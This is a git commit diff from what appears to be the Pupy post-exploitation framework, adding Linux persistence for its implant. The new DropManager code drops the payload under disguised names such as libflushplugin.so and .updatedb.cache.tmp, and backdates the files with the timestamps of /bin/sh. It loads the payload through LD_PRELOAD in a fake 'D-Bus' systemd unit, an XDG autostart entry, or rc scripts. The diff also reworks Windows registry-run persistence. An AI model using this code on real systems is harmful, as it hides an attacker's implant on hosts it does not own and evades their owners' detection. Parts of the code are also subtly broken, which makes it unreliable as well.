Start to implement persistence for Linux

This commit is contained in:
Oleksii Shevchuk 2016-08-26 20:01:07 +03:00
parent a1cfce2d08
commit 17728cedf6
4 changed files with 402 additions and 72 deletions

View File

@ -17,14 +17,17 @@ def has_proc_migrated(client, pid):
return c
return None
def get_payload(module):
def get_payload(module, compressed=True):
if module.client.is_proc_arch_64_bits():
module.info('Generate pupyx64.so payload')
dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf())
else:
module.info('Generate pupyx64.so payload')
module.info('Generate pupyx86.so payload')
dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf())
if not compressed:
return dllbuf
dllgzbuf = cStringIO.StringIO()
gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
gzf.write(dllbuf)

View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
@ -15,22 +15,40 @@
# --------------------------------------------------------------
from pupylib.PupyModule import *
from pupylib.PupyCompleter import *
from modules.lib.linux.migrate import get_payload
import random
import pupygen
import os.path
import stat
import string
__class_name__="PersistenceModule"
@config(cat="manage", compat="windows")
@config(cat="manage", compat=['linux', 'windows'])
class PersistenceModule(PupyModule):
""" Enables persistence via registry keys """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency', completer=path_completer)
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
def run(self, args):
if self.client.is_windows():
self.windows(args)
else:
self.linux(args)
def linux(self, args):
self.client.load_package('persistence')
manager = self.client.conn.modules['persistence'].DropManager()
self.info('Available methods: {}'.format(manager.methods))
payload = get_payload(self, compressed=False)
drop_path, conf_path = manager.add_library(payload)
if drop_path and conf_path:
self.success('Dropped: {} Config: {}'.format(drop_path, conf_path))
else:
self.error('Couldn\'t make service persistent.')
def windows(self, args):
exebuff=b""
if args.exe:
with open(args.exe,'rb') as f:
@ -46,32 +64,26 @@ class PersistenceModule(PupyModule):
exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf())
else:
exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
if args.method=="registry":
self.client.load_package("pupwinutils.persistence")
self.client.load_package("pupwinutils.persistence")
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
self.info("uploading to %s ..."%remote_path)
#uploading
rf=self.client.conn.builtin.open(remote_path, "wb")
chunk_size=16000
pos=0
while True:
buf=exebuff[pos:pos+chunk_size]
if not buf:
break
rf.write(buf)
pos+=chunk_size
rf.close()
self.success("upload successful")
#adding persistency
self.info("adding to registry ...")
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
self.info("registry key added")
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
self.info("uploading to %s ..."%remote_path)
#uploading
rf=self.client.conn.builtin.open(remote_path, "wb")
chunk_size=16000
pos=0
while True:
buf=exebuff[pos:pos+chunk_size]
if not buf:
break
rf.write(buf)
pos+=chunk_size
rf.close()
self.success("upload successful")
#adding persistency
self.info("adding to registry ...")
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
self.info("registry key added")
self.success("persistence added !")
else:
self.error("method not implemented")
self.success("persistence added !")

View File

@ -1,36 +0,0 @@
#!/usr/bin/env python
import os
def add(path, launcher, launcher_args):
if os.path.isfile("/etc/init.d/rc.local"):
if path in open("/etc/init.d/rc.local").read():
return
else:
with open("/etc/init.d/rc.local", "a") as local:
local.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
os.utime("/etc/init.d/rc.local",(1330712292,1330712292))
elif os.path.isfile("/etc/rc"):
if path in open("/etc/rc").read():
return
else:
os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc")
with open("/etc/rc", "a") as rc:
rc.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
rc.write("exit 0")
os.utime("/etc/rc",(1330712292,1330712292))
elif os.path.isfile("/etc/rc.d/rc.local"):
if path in open("/etc/rc.d/rc.local").read():
return
else:
with open("/etc/rc.d/rc.local", "a") as rc2:
rc2.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
os.system("chmod +x /etc/rc.d/rc.local")
os.utime("/etc/rc.d/rc.local",(1330712292,1330712292))
elif os.path.isfile("/etc/init.d/dbus"):
if path in open("/etc/init.d/dbus").read():
return
else:
with open("/etc/init.d/dbus", "a") as dbus:
cron.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
os.utime("/etc/init.d/dbus",(1330712292,1330712292))

View File

@ -0,0 +1,351 @@
# -*- coding: utf-8 -*-
import os
import subprocess
import random
import stat
class DropManager(object):
def __init__(self):
self._is_systemd = False
self._systemd_error = None
self._is_xdg = False
self._xdg_error = None
self._uid = os.getuid()
self._user = self._uid != 0
self._home = os.path.expanduser('~')
self._devnull = open(os.devnull, 'r')
self._rc = []
self._rc_error = None
self._check_xdg()
self._check_rc()
self._check_systemd()
def _find_executable(self, name):
for path in [
'/bin',
'/sbin',
'/usr/bin',
'/usr/sbin',
'/usr/local/bin',
'/usr/local/sbin',
'/usr/libexec',
'/usr/lib',
'/usr'
]:
for root, dirs, files in os.walk(path):
for file in files:
if file == name:
return os.path.join(root, file)
def _check_xdg(self):
try:
self._is_xdg = ( subprocess.check_call(
['xdg-open', '--version'],
stdout=self._devnull,
stderr=self._devnull
) == 0 )
self._is_xdg = True
except CalledProcessError as e:
self._is_xdg = False
self._xdg_error = str(e)
def _check_systemd_reval(self, args):
penv = {
'stdout': self._devnull,
'stderr': self._devnull,
}
if not os.getenv('DBUS_SESSION_BUS_ADDRESS') and self._user:
penv.update({
'env': {
'DBUS_SESSION_BUS_ADDRESS':
'unix:path=/var/run/user/{}/dbus/user_bus_socket'.format(self._uid)
},
})
try:
cmd = ['systemctl']
if self._user:
cmd.append('--user')
cmd = cmd + args
return ( subprocess.check_call(cmd, **penv) == 0 )
except subprocess.CalledProcessError:
return None
def _check_systemd(self):
if self._user:
systemd_socket = '/run/user/{}/systemd/private'.format(self._uid)
else:
systemd_socket = '/run/systemd/private'
try:
if not os.path.exists(systemd_socket) and stat.S_ISSOCK(os.stat(systemd_socket).st_mode):
self._systemd_error = 'No systemd socket found'
return
except OSError as e:
self._systemd_error = str(e)
return
self._is_systemd = self._check_systemd_reval([])
if not self._is_systemd:
self._systemd_error = 'Systemd is not available or not working properly'
def _check_systemd_unit(self, unit):
return self._check_systemd_reval(['is-enabled', unit])
def _check_rc(self):
self._rc = [
rc for rc in [
'/etc/init.d/rc.local',
'/etc/rc',
'/etc/rc.local',
'/etc/init.d/dbus'
] if os.access(rc, os.W_OK)
]
if len(self._rc) == 0:
self._rc_error = 'No writable known RC scripts found'
@property
def methods(self):
return {
'xdg': self._is_xdg or self._xdg_error,
'systemd': self._is_systemd or self._systemd_error,
'rc': len(self._rc) > 0 or self._rc_error,
'user': self._user
}
def _find_systemd_system_path(self):
for d in [ '/lib/systemd/system', '/usr/lib/systemd/system', '/etc/systemd/system' ]:
if os.path.exists(d):
return os.path.dirname(d)
def _get_systemd_unit_path(self, system=True):
if self._user:
path = os.path.join(self._home, '.config/systemd/user')
else:
path = os.path.join(self._find_systemd_system_path(), 'system' if system else 'user')
return path
def _add_systemd_add_to_unit(self, unit, key, value, section='Service', system=True, confname='distlocal.conf'):
confname = confname or ''.join([
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
]) + '.conf'
unit = os.path.join(self._get_systemd_unit_path(system), unit+'.d', confname)
if not os.path.isdir(os.path.dirname(unit)):
os.makedirs(os.path.dirname(unit))
with open(unit, 'w') as funit:
funit.write(
'[{}]\n'
'{}={}\n'.format(section, key, value)
)
return unit
def _add_loadable_systemd_unit(self, unit, executable, description, service_type='forking'):
confdir = self._get_systemd_unit_path()
base_wants = os.path.join(confdir, 'default.target.wants')
base_wants_unit = os.path.join(base_wants, unit)
unit = os.path.join(confdir, unit)
if not os.path.exists(confdir):
os.makedirs(confdir)
if not os.path.exists(base_wants):
os.makedirs(base_wants)
with open(unit, 'w') as funit:
funit.write(
'[Unit]\n'
'Description={}\n\n'
'[Service]\n'
'Type={}\n'
'ExecStart={}\n'.format(
description,
service_type,
executable
)
)
if os.path.exists(base_wants_unit):
os.unlink(base_wants_unit)
os.symlink(unit, base_wants_unit)
def _drop_file(self, payload):
rand = ''.join([
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
])
user_targets = [
'%h/.local/lib/%r.so.1', '%h/.local/bin/%r',
'%h/.cache/mozilla/firefox/libflushplugin.so',
'%h/.mozilla/plugins/libflushplugin.so',
]
system_targets = [
'/lib/lib%r.so.1',
'/usr/lib/lib%r.so.1',
'/var/lib/.updatedb.cache.tmp.%r'
]
targets = [
target.replace(
'%h', self._home
).replace(
'%r', rand
) for target in ( user_targets if self._user else system_targets )
]
shstat = os.stat('/bin/sh')
for target in targets:
dropdir = os.path.dirname(target)
if os.path.isdir(dropdir):
try:
with open(target, 'w') as droppie:
droppie.write(payload)
os.utime(target, (shstat.st_atime, shstat.st_ctime))
return target
except Exception as e:
continue
for target in targets:
dropdir = os.path.dirname(target)
try:
os.makedirs(dropdir)
with open(target, 'w') as droppie:
droppie.write(payload)
os.utime(target, (shstat.st_atime, shstat.st_ctime))
return target
except Exception:
continue
def _is_path_in_file(self, filepath, path):
if os.path.isfile(filepath):
with open(filepath, 'r') as file:
return 'path' in filepath
return False
def _add_to_rc(self, path):
for rc in self._rc:
if self._is_path_in_file(rc, path):
return
rcstat = os.stat(rc)
with open(rc, 'a') as rcfile:
rcfile.write(path + '& 2>/dev/null 1>/dev/null')
os.utime(rc, (rcstat.st_atime, rcstat.st_ctime))
return rc
def _add_to_xdg(self, path, confname='dbus'):
confname = confname or ''.join([
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
])
if self._user:
xdg = os.getenv('XDG_CONFIG_HOME') or os.path.join(
self._home, '.config/autostart', confname+'.desktop')
else:
xdg = os.getenv('XDG_CONFIG_DIRS') or os.path.join(
'/etc/xdg/autostart', confname+'.desktop')
if not os.path.exists(os.path.dirname(xdg)):
os.makedirs(os.path.dirname(xdg))
with open(xdg, 'w') as fxdg:
fxdg.write(
'[Desktop Entry]\n'
'Name=DBus\n'
'GenericName=D-Bus messaging system\n'
'Exec=/bin/sh -c "{}"\n'
'Terminal=false\n'
'Type=Application\n'
'Categories=System\n'
'StartupNotify=false\n'.format(path)
)
return xdg
def add_library(self, payload, name=None, system=None):
if not any([
self._is_systemd, self._is_xdg, self._rc
]):
return None, None
dbus_daemon = self._find_executable('dbus-daemon')
if not dbus_daemon:
return None, None
path = self._drop_file(payload)
if self._is_systemd:
if not self._check_systemd_unit('dbus.service'):
self._add_loadable_systemd_unit(
'dbus.service',
'{} --session'.format(dbus_daemon),
'D-Bus session daemon',
)
return path, self._add_systemd_add_to_unit(
'dbus.service',
'Environment',
'LD_PRELOAD={}'.format(path),
section='Service',
confname=name
)
elif self._is_xdg:
return path, self._add_to_xdg(
'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
)
elif self._rc:
return path, self._add_to_rc(
'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
)
def add_binary(self, payload, name=None, system=None):
if not any([
self._is_systemd, self._is_xdg, self._rc
]):
return None, None
path = self._drop_file(payload)
if not path:
return None, None
os.chmod(path, 0111)
if self._is_systemd:
return path, self._add_systemd_add_to_unit(
'dbus.service',
'ExecStartPre',
'-{}'.format(path),
section='Service',
confname=name
)
elif self._is_xdg:
return path, self._add_to_xdg(
'{} & 2>/dev/null 1>/dev/null'.format(path)
)
elif self._rc:
return path, self._add_to_rc(
'{} & 2>/dev/null 1>/dev/null'.format(path)
)